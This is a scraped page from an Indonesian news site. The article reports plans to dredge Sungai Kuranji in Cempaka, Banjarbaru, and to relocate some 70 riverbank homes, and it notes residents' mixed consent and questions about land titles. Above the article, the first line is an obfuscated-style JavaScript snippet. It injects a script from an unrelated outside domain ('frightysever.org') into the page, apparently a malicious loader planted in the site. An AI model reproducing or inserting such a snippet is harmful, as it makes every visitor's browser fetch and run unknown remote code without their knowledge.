(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Relokasi Normalisasi Sungai Kuranji di Cempaka Warga Ada yang Tak Setuju


KANALKALIMANTAN.COM, BANJARBARU – Program normalisasi Sungai Kuranji di Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru, Provinsi Kalimantan Selatan direncanakan akan terlaksana pada awal tahun 2025 mendatang.

Kendati demikian, pendekatan kepada warga masih menjadi hal utama yang harus dilakukan Pemerintah Kota (Pemko) Banjarbaru untuk mengatasi kendala dalam pelaksanaan normalisasi sungai.

Upaya normalisasi kawasan sungai tersebut dihadapkan dengan masalah bangunan warga yang berdiri di bantaran sungai, bahkan ada yang menjorok ke sungai. Sementara itu masih ada warga yang tak mau pindah dari kawasan padat permukiman itu.

Baca juga: Relokasi 70 Rumah Bantaran Sungai Kuranji, Pemko Banjarbaru Proyeksikan Anggaran Rp15 Miliar

“Saat ini kendala terkait persetujuan warga, kalau setuju dengan lebar sepadan sungai, maka bisa cepat kita lakukan normalisasi,” ungkap Kabid SDA Dinas PUPR Banjarbaru, M Deny Pramudji kepada Kanalkalimantan.com, Kamis (25/4/2024) siang.

Bidang Sumber Daya Air PUPR Banjarbaru pun, sambung dia, saat ini telah menyelesaikan untuk action normalisasi atau pengerukan sungai dan drainase itu.

Kabid SDA Dinas PUPR Banjarbaru, M Deny Pramudji. Foto wanda

Dijelaskan Deny, dalam rencana programa normalisasi Sungai Kuranji akan dikeruk dengan lebar 8 meter, sepadan kanan dan kiri masing-masih berukuran 6 meter.

Baca juga: Rumah Kosong di Lingkar Dalam Selatan Banjarmasin Terbakar

“Dari hasil kajian awal lebar sungai 8 meter, sepadan kiri kanan 6 meter dengan panjang kira-kira sampai ke Embung Cempaka sekitar 2 kilometer. Tapi kami masih diskusikan terkait proposal ini bersama warga,” jelasnya.

Lebih lanjut, normalisasi sungai sekaligus relokasi rumah warga yang terimbas salah satu tujuan adalah mengatasi banjir yang setiap tahun melanda wilayah permukiman di Kelurahan Cempaka.

Hasil kajian itu pula, sebanyak 70 rumah milik warga akan direlokasi ke lahan tiga hektare yang masih di kawasan RW sama.

Kondisi saat ini, sejumlah bangunan warga masih ada yang menutupi badan sungai. Sebagian lagi, lahan sudah terbuka pasca peristiwa kebakaran yang terjadi beberapa waktu lalu.

Baca juga: Kasus Cuci Uang Narkoba Fredy Pratama, Sang Ayah Divonis 20 Bulan Penjara

Sementara itu Khairullah, Ketua RT 06 RW 008 Kelurahan Cempaka mengatakan, terkait relokasi rumah-rumah warga tersebut, beberapa warga ada yang setuju, ada tidak setuju, dan ada yang setuju bersyarat.

“Ada lagi yang setuju bersyarat terkait hitung-hitungan tanah mereka, karena itu pihak terkait harus lebih lagi menyosialisasikan program ini. Karena menurut saya program ini sangat baik untuk kemaslahatan bersama,” ujar Khairullah.

Khairullah, Ketua RT 06 RW 008 Kelurahan Cempaka. Foto: wanda

Lebih lanjut Khairullah mengatakan, status kepemilikan tanah masyarakat di bantaran sungai itu rata-rata memiliki sertifikat.

“Memang ada yang tidak punya sertifikat, namun mereka mempunyai sporadik, jadi tanah itu sudah menjadi milik mereka, sudah dipisahkan oleh BPN,” sebut dia.

Baca juga: Kebakaran di Jalan Al Madani Lingkar Dalam Selatan Banjarmasin

Dengan alas dasar itu, masih menjadi pertanyaan dirinya bersama warga kepada Pemerintah Kota Banjarbaru.

“Kemudian dari Sekda mengatakan akan dilakukan diskusi lagi terkait bagaimana baiknya, maka kami tidak bisa menyimpulkan di sini karena kita perlu diskusi kembali,” tuntasnya.

Terkait dengan hal itu, sekaligus melakukan pendekatan dengan warga, Pemerintah Kota Banjarbaru masih akan melakukan diskusi lanjutan kepada puluhan warga yang terdampak. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.